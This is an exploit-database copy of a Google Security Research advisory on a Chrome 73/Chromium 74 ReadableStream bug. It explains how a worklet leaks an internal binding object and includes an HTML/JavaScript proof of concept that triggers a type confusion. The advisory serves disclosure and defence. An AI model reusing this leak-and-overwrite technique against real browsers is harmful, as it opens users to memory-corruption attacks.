Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 – ‘ReadableStream’ Internal Object Leak Type Confusion

  • 作者: Google Security Research
    日期: 2019-04-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46653/
  • <!--
    VULNERABILITY DETAILS
    https://cs.chromium.org/chromium/src/third_party/blink/renderer/bindings/core/v8/initialize_v8_extras_binding.cc?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=90
    void AddOriginals(ScriptState* script_state, v8::Local<v8::Object> binding) {
    // These values are only used when serialization is enabled.
    if (!RuntimeEnabledFeatures::TransferableStreamsEnabled())
    return;
    
    v8::Local<v8::Object> global = script_state->GetContext()->Global();
    v8::Local<v8::Context> context = script_state->GetContext();
    v8::Isolate* isolate = script_state->GetIsolate();
    
    const auto ObjectGet = [&context, &isolate](v8::Local<v8::Value> object,
    const char* property) {
    DCHECK(object->IsObject());
    return object.As<v8::Object>()
    ->Get(context, V8AtomicString(isolate, property))
    .ToLocalChecked();
    };
    
    [...]
    
    v8::Local<v8::Value> message_port = ObjectGet(global, "MessagePort");
    v8::Local<v8::Value> dom_exception = ObjectGet(global, "DOMException");
    
    // Most Worklets don't have MessagePort. In this case, serialization will
    // fail. AudioWorklet has MessagePort but no DOMException, so it can't use
    // serialization for now.
    if (message_port->IsUndefined() || dom_exception->IsUndefined()) // ***1***
    return;
    
    v8::Local<v8::Value> event_target_prototype =
    GetPrototype(ObjectGet(global, "EventTarget"));
    Bind("EventTarget_addEventListener",
     ObjectGet(event_target_prototype, "addEventListener"));
    
    v8::Local<v8::Value> message_port_prototype = GetPrototype(message_port);
    Bind("MessagePort_postMessage",
     ObjectGet(message_port_prototype, "postMessage"));
    [...]
    
    https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=1044
    function ReadableStreamSerialize(readable, port) {
    // assert(IsReadableStream(readable),
    //`! IsReadableStream(_readable_) is true`);
    if (IsReadableStreamLocked(readable)) {
    throw new TypeError(streamErrors.cannotTransferLockedStream);
    }
    
    if (!binding.MessagePort_postMessage) { // ***2***
    throw new TypeError(streamErrors.cannotTransferContext);
    }
    
    const writable = CreateCrossRealmTransformWritable(port);
    const promise =
    ReadableStreamPipeTo(readable, writable, false, false, false);
    markPromiseAsHandled(promise);
    }
    
    A worklet's context might not have the objects required to implement ReadableStream serialization.
    In that case, |AddOriginals| would exit early leaving the |binding| object partially initialized[1].
    |ReadableStreamSerialize| checks if the "MessagePort_postMessage" property exists on the |binding|
    object to determine whether serialization is possible[2]. The problem is that the check would be
    observable to a getter defined on |Object.prototype|, which could leak the value of |binding|.
    
    
    VERSION
    Google Chrome 73.0.3683.39 (Official Build) beta (64-bit) (cohort: Beta)
    Chromium 74.0.3712.0 (Developer Build) (64-bit)
    
    Also, please note that the "stream serialization" feature is currently hidden behind the
    "experimental platform features" flag.
    
    
    REPRODUCTION CASE
    The repro case uses the leaked |binding| object to redefine an internal method and trigger a type
    confusion.
    -->
    
    <body>
    <h1>Click to start AudioContext</h1>
    <script>
    function runInWorket() {
    function leakBinding(port) {
    let stream = new ReadableStream;
    let binding;
    Object.prototype.__defineGetter__("MessagePort_postMessage", function() {
    binding = this;
    });
    try {
    port.postMessage(stream, [stream]);
    } catch (e) {}
    delete Object.prototype.MessagePort_postMessage;
    return binding;
    }
    
    function triggerTypeConfusion(binding) {
    console.log(Object.keys(binding));
    
    binding.ReadableStreamTee = function() {
    return 0x4142;
    }
    let stream = new ReadableStream;
    stream.tee();
    }
    
    class MyWorkletProcessor extends AudioWorkletProcessor {
    constructor() {
    super();
    
    triggerTypeConfusion(leakBinding(this.port));
    }
    
    process() {}
    }
    
    registerProcessor("my-worklet-processor", MyWorkletProcessor);
    }
    let blob = new Blob([`(${runInWorket}())`], {type: "text/javascript"});
    let url = URL.createObjectURL(blob);
    
    window.onclick = () => {
    window.onclick = null;
    
    class MyWorkletNode extends AudioWorkletNode {
    constructor(context) {
    super(context, "my-worklet-processor");
    }
    }
    
    let context = new AudioContext();
    
    context.audioWorklet.addModule(url).then(() => {
    let node = new MyWorkletNode(context);
    });
    }
    </script>
    </body>